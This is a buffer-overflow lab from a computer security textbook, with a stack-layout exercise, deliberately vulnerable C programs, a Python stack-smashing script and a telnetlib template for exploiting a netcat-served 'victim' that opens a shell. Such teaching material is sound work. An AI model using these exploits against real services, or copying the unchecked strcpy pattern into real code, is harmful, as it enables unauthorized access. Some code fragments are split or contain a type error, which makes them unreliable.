

Class activity

A hands-on exercise from the class-activities appendix. The full text also appears in Appendix A of the book.

Accompanies *Computer Security: The Foundations*, Krerk Piromsopa, Ph.D., 2026.
<https://www.cp.eng.chula.ac.th/~krerk/books/ComputerSecurity/>

Authorized use only

These exercises involve real attack techniques. Carry them out only against systems you own, or that you have written permission from the owner to test. Unauthorized access, scanning or interception is a criminal offence under Thailand's Computer Crime Act and its equivalents elsewhere, whether or not any damage results. If you are unsure whether a target is in scope, ask your instructor before you start.

Activity 11: Buffer Overflow

Overview

This exercise familiarizes you with *stack smashing*, a class of buffer-overflow attack. It gives a general idea of how buffer overflow is exploited in practice, though real-world attacks are more sophisticated.

Prologue

We use Linux as the base platform. The exercise was developed on Debian/Ubuntu with gcc 5.4.0. You will need the following packages:

```
$ apt install build-essential gdb curl # Debian/Ubuntu
```

Windows users: Use the Windows Subsystem for Linux (WSL), which runs a genuine Linux userland and toolchain on top of Windows. From an administrator PowerShell:

```
> wsl --install -d Ubuntu
```

Reboot when prompted, choose a username and password, then open the Ubuntu terminal and run the apt command above. Every exercise below then behaves exactly as it does on native Linux. Your Windows drives appear under /mnt/c/, so a file on the Windows desktop is reached as /mnt/c/Users/<you>/Desktop/.

Do *not* use Cygwin for this activity. Cygwin's gcc produces Windows PE executables rather than Linux ELF ones, so the stack layout, the objdump output and the effect of -no-pie all differ from what the exercises below describe.

Test your environment by compiling a simple C program:

```
#include <stdio.h>
int main(int argc, char *argv[]) {
    printf("Hello, World\n");
}
```

```
$ gcc -o hello hello.c
```

```
$ ./hello
```

```
$ objdump -d hello # optional: inspect the disassembly
```

Compiler and OS protections. Modern compilers enable several buffer-overflow mitigations by default. To simplify these exercises, disable them explicitly:

```
$ gcc -fno-stack-protector -no-pie -o prog prog.c
```

-fno-stack-protector disables canary protection; -no-pie disables position-independent executables (ASLR).

Exercises

1. **Stack Layout.** Compile and run the following program.

```
#include <stdio.h>

void myfunction(int i);
char *p;

int main() {
    printf("&main      = %0.16p\n", &main);
    printf("&myfunction = %0.16p\n", &myfunction);
    printf("&&ret_addr  = %0.16p\n", &&ret_addr);
    myfunction(12);
ret_addr:
    printf("... end\n");
}

void myfunction(int i) {
    char buf[20] = "0123456789012345678";
    printf("&i          = %0.16p\n", &i);
    printf("sizeof(ptr)  = %d\n", sizeof(p));
    printf("&buf[0]      = %0.16p\n", buf);
    for (p = ((char *)&i) + 64; p > buf; p--) {
        printf("%0.16p: 0x%0.2x\t", p, *(unsigned char *)p);
        if (!((unsigned int)p % 4))
            printf("\n");
    }
    printf("\n");
}
```

The `ret_addr` label (using the GCC `&&` extension) is added only to make the return address visible — it is not part of the attack.

Draw a stack layout from `&buf[0]` to `&i+8`. For each word, specify the symbol and content where possible. Identify the argument `i`, local buffer, and the return address. Circle the relevant values in the program output.

2. **Stack Smashing.** *Note: This example assumes ASLR is disabled in the target binary.*

```
#include <string.h>
#include <stdio.h>

void greeting() {
    printf("Welcome to exercise II\n");
    printf("I hope you enjoy it\n\n");
}

void mem_dump(char *from, char *to) {
    char *p;
    for (p = (from + 64); p >= to; p--) {
        printf("%p: 0x%02x\t", p, *(unsigned char *)p);
    }
}
```

```

        if (!((unsigned long)p % 2))
            printf("\n");
    }
    printf("\n");
}

void concat_arguments(int argc, char **argv) {
    char buf[20] = "0123456789012345678";
    char *p = buf;
    int i;
    printf("&i          = %p\n", &i);
    printf("&buf[0] = %p\n", buf);
    for (i = 1; i < argc; i++) {
        strcpy(p, argv[i]);
        p += strlen(argv[i]);
        if (i + 1 != argc)
            *p++ = ' ';
    }
    printf("%s\n", buf);
}

int main(int argc, char **argv) {
    printf("&main          = %p\n", &main);
    printf("&concat_arguments= %p\n", &concat_arguments);
    printf("&greeting        = %p\n", &greeting);
    greeting();
    concat_arguments(argc, argv);
}

```

Compile with protections disabled:

```

$ gcc -o ex2 -fno-stack-protector -no-pie ex2.c
$ ./ex2 a b c

```

To redirect execution to `greeting()` without modifying the source, find its address:

```

$ objdump -d ex2 | grep greeting

```

Using that address, craft an attack script:

```

#!/usr/bin/python3
import os

buff = 40 * b'x'
addr = bytearray.fromhex("400646") # replace with actual address
addr.reverse()
buff += addr
print("exec ./ex2 with buff", buff)
os.execv('./ex2', ['./ex2', buff])

```

If successful, `greeting()` will be called a second time before the program crashes with a segmentation fault.

3. **Challenge.** Exploit a buffer-overflow vulnerability in the provided dummy internet service victim-2020¹. Emulate the service with netcat:

```

$ nc -l -p 60000 -e ./victim # netcat-traditional (see Activity 13)

```

¹<https://www.cp.eng.chula.ac.th/~krerk/books/ComputerSecurity/files/victim-2020> — download with `curl -O <url>`. This is an ELF 64-bit Linux binary. For other systems, compile from source.

The program contains a `shell()` function. Your goal is to overflow the stack and redirect execution to it. A successful attack prints a banner and provides a shell.

Here is the source code of `victim.c` for reference:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void shell() {
    char cmd[] = "/bin/sh";
    char cmd1[] = "/usr/bin/curl";
    char *args[] = {
        "curl",
        "https://mis.cp.eng.chula.ac.th/krerck/tmp/demo.txt",
        NULL
    };
    execv(cmd1, args);
    printf("Congratulations: stack smashing mastered.\n");
    execl(cmd, cmd, 0);
}

void vulnerable(char *str) {
    char buf[20] = "0123456789012345678";
    char *p = buf;
    strcpy(p, str);
}

int main(int argc, char **argv) {
    char str[10000];
    int cnt = 1;
    fprintf(stderr, "&shell      = %0.16p\n", &shell);
    fprintf(stderr, "&vulnerable = %0.16p\n", &vulnerable);
    while (1) {
        printf("[%4d] input: ", cnt++);
        scanf("%s", str);
        printf("Input is\n%s\n", str);
        vulnerable(str);
        printf(".. done\n");
        fflush(stdout);
        if (strcmp("q", str) == 0) break;
    }
}
```

Use the following Python template to automate the attack:

```
#!/usr/bin/python3
import telnetlib

tn = telnetlib.Telnet("127.0.0.1", 60000)

offset      = int(input("Offset (40?): "))
target_addr = int(input("Target (shell) address (e.g. 5647740e61b5): "))

buff = offset * b'x'
addr = bytearray.fromhex(target_addr)
addr.reverse()
buff += addr
```

```
tn.write(buff)
tn.interact()
```

4. **Bonus.** From Exercises 2 and 3, can you exploit a buffer-overflow attack even when canary-style protection is active? Explain your analysis.

5. **Reflection Questions.**

- Most viruses and worms use buffer overflow as a basis for their attacks. Do you think exploiting buffer-overflow attacks is trivial? Justify your answer.
- As a programmer, is it possible to write code that is immune to buffer overflow? Explain your strategy.

From *Computer Security: The Foundations*, Kerk Piromsopa, Ph.D.
Reproduce and adapt freely for non-commercial classroom instruction, with attribution. Full terms: LICENSE.txt in the student package.